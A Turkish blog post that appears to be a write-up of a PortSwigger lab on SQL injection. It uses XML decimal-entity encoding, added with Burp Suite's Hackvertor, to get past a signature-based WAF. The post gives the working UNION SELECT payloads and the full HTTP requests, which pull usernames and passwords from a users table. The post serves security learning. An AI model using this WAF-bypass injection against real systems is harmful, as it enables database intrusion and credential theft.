DEV Community

Yunus Emre Dere
Yunus Emre Dere

Posted on

PortSwigger: SQL Injection with Filter Bypass via XML Encoding - Çözüm Günlüğüm

SQL injection sadece URL üzerinden yapılmaz. WAF (Web Application Firewall) kurulu ortamlarda SELECT, WHERE, UNION gibi kelimeler filtrelenir. Bu sebeple JSON, XML gibi payload'lar ve bunların escape sequence'leri kullanılarak bu filtrelemenin önüne geçilebilir.

Bu yazı, Burp Suite ve Hackvertor kullanılarak XML escape sequence tekniğiyle WAF duvarını aşıp administrator şifresine veritabanından nasıl ulaşılabileceğini ve bu süreçte karşılaştığım zorlukları anlatıyor.

Lab Tanıtımı

  • Lab adı: SQL injection with filter bypass via XML encoding
  • Senaryo: Sitenin stock check özelliğinde SQL injection zafiyeti bulmak
  • Hedef: users tablosundan administrator kullanıcısının bilgilerini almak ve giriş yapmak

İlk Deneme ve Karşılaşılan Engel

Burp Suite'i bu lab'da ilk kez kullandım, tamamen tecrübesizdim. Düz bir payload denedim fakat WAF "Attack detected" diyerek engelledi.

Request:
POST /product/stock HTTP/2
Host: 0a15003b03d9ad3480d93547002a00f1.web-security-academy.net
Cookie: session=[REDACTED]
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 UNION SELECT NULL --</productId><storeId>1</storeId></stockCheck>
Enter fullscreen mode Exit fullscreen mode
Response:
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8

"Attack detected"
Enter fullscreen mode Exit fullscreen mode

Araç Kurulumu

Kullanımı öğrenirken birkaç kafa karışıklığı yaşadım. Önce Extensions sekmesinden Hackvertor eklentisini kurdum. Sonra Proxy sekmesinde yeni bir browser açıp lab'ın linkini buraya yapıştırdım.

Bir istek gönderdiğimde, isteğin Repeater'a otomatik gitmediğini fark ettim. Proxy ekranı sadece geçmiş istekleri gösteriyor, burada request body üzerinde değişiklik yapılamıyor. İsteği değiştirebilmek için önce onu Repeater sekmesine göndermem gerekti: isteğe sağ tıklayıp Send to Repeater seçeneğine tıkladım (klavye kısayolu: Ctrl+R).

Çözüm Mantığı

WAF, gönderdiğimiz isteği sunucuya ulaşmadan önce tarar ve ham metnin içinde SELECT, UNION gibi bilinen tehlikeli kelimeleri arar. Buna imza tabanlı tespit (signature-based detection) denir.

Biz burada bu kelimeleri otomatik olarak XML decimal karşılıklarına çeviriyoruz (&#85;&#78;&#73;&#79;&#78;...). Bu sayede SELECT yerine onun decimal karşılıkları gidiyor ve WAF aradığı kelimeleri bulamadığı için isteği sorunsuz sanıyor.

Fakat istek sunucuya ulaştığında, uygulama veriyi bir XML belgesi olarak işliyor. XML standardının kuralı gereği bir XML parser, &#85; gibi karakter referanslarını otomatik olarak gerçek karaktere çevirmek zorunda. Böylece arka planda tekrar düz SELECT kelimesi oluşuyor. Bu çözülmüş hal SQL sorgusuna gönderiliyor ve veritabanı onu normal bir sorgu gibi çalıştırıyor.

Adım Adım Çözüm

<productId> kısmına payload'ımızı yazacağız:

1 UNION SELECT NULL --
Enter fullscreen mode Exit fullscreen mode

Fakat bu şekilde düz yazarsak WAF'a takılır ve yukarıdaki Attack detected hatasını alırız. Bu yüzden Hackvertor ile <@dec_entities></@dec_entities> etiketlerini kullanmamız gerekiyor. Bunun için Repeater'da sorgumuzu seçip sağ tık menüsünden Extensions > Hackvertor > Encode > dec_entities seçeneğine tıklıyoruz. Bu işlemden sonra satır şu şekilde görünmeli:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 <@dec_entities>UNION SELECT NULL --</@dec_entities></productId><storeId>1</storeId></stockCheck>
Enter fullscreen mode Exit fullscreen mode
Request (kolon sayısı testi):
POST /product/stock HTTP/2
Host: 0a15003b03d9ad3480d93547002a00f1.web-security-academy.net
Cookie: session=[REDACTED]
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 <@dec_entities>UNION SELECT NULL --</@dec_entities></productId><storeId>1</storeId></stockCheck>
Enter fullscreen mode Exit fullscreen mode
Response:
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8

164 units
null
775 units
311 units
Enter fullscreen mode Exit fullscreen mode

Bu adımda tabloda kaç kolon olduğunu öğreniyoruz. Bu örnekte 1 kolon var.

Response kısmında sırasıyla null, 295 units... diye devam eden kısımdaki null, bizim UNION sorgumuzla gelen değer. Eğer 2 kere NULL yazsaydık bu değer tabloda görünmeyecekti, bu da tablonun 2 kolona sahip olmadığı anlamına gelirdi. Yani sorgudaki NULL sayısını, değer tabloda görünene kadar artırmamız gerekiyor.

Bu örnekte geçerli değil, fakat birden fazla kolon olsaydı, getirmek istediğimiz değerin (bu örnekte username ve password, yani ikisi de string) hangi kolona karşılık geldiğini de tespit etmemiz gerekirdi. Bunu, NULL'lardan birinin yerine 'a' yazarak anlayabiliriz. UNION'ın çalışması için iki şart sağlanmalı:

  • Kolon sayısı aynı olmalı
  • Getirmek istediğimiz veri türü, karşılık geldiği kolonun veri türüyle aynı olmalı

Artık users tablosundan username ve password bilgilerini getirebiliriz. Ama burada bir sorun var: getirmek istediğimiz 2 kolon, ana tablodaysa sadece 1 kolon var. Bu yüzden iki kolondaki verileri tek kolonda birleştirmemiz gerekiyor. Bunun için || operatörünü kullanıyoruz (bkz. PortSwigger SQL injection cheat sheet).

Son satırımız şöyle olmalı:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 <@dec_entities>UNION SELECT username||'~'||password FROM users --</@dec_entities></productId><storeId>1</storeId></stockCheck>
Enter fullscreen mode Exit fullscreen mode
Request (veri çekme):
POST /product/stock HTTP/2
Host: 0a15003b03d9ad3480d93547002a00f1.web-security-academy.net
Cookie: session=[REDACTED]
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 <@dec_entities>UNION SELECT username||'~'||password FROM users --</@dec_entities></productId><storeId>1</storeId></stockCheck>
Enter fullscreen mode Exit fullscreen mode
Response:
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8

775 units
311 units
wiener~ldl5jjiarqm2r40gyvv5
administrator~p05gs1mypnq3sazi3n8a
164 units
carlos~yhlvkwchc0kfap33gp1e
Enter fullscreen mode Exit fullscreen mode

Response kısmında kullanıcı adları ve şifreler görünüyor. Buradan administrator'ın şifresini alıp sitede giriş yapıyorum ve lab tamamlanıyor.

Yaşadığım Hatalar

Bu lab'ı çözerken birkaç kez yanlış yola saptım, bunları da paylaşmak isterim:

  • Önce Burp'ün Proxy ekranında isteği değiştirmeye çalıştım, ama orası sadece geçmişi gösteriyor, düzenleme yapılamıyor. Bunu Repeater'a göndermem gerektiğini anlamam biraz zaman aldı.
  • İlk denemelerimde UNION SELECT yerine kelimeleri yanlış sırada yazdım, bu da anlamsız hatalar almama sebep oldu.
  • HTTP durum kodunun 200 OK olmasını, sorgunun doğru çalıştığı anlamına geldiğini sandım. Oysa asıl bakılması gereken şey response body'nin içeriğiydi; uygulama hatalı bir sorguda bile 200 dönebiliyor.

Öğrendiklerim

  • WAF'lar genelde imza tabanlı çalışıyor, yani bilinen tehlikeli kelimeleri arıyor. Veriyi farklı bir katmanda (burada XML parser'da) çözümleyen bir sistemle bu tespiti atlatmak mümkün.
  • Burp Suite'in temel akışını (Proxy → Repeater) bu lab sayesinde ilk kez uygulamalı öğrenmiş oldum.
  • UNION attack'ın iki şartını (kolon sayısı ve veri tipi eşleşmesi) artık sadece ezbere değil, bizzat deneyerek biliyorum.

Bir sonraki hedefim, aynı tekniği farklı bir encoding yöntemiyle (örneğin JSON tabanlı bir filtre bypass'ında) tekrar denemek.

Top comments (0)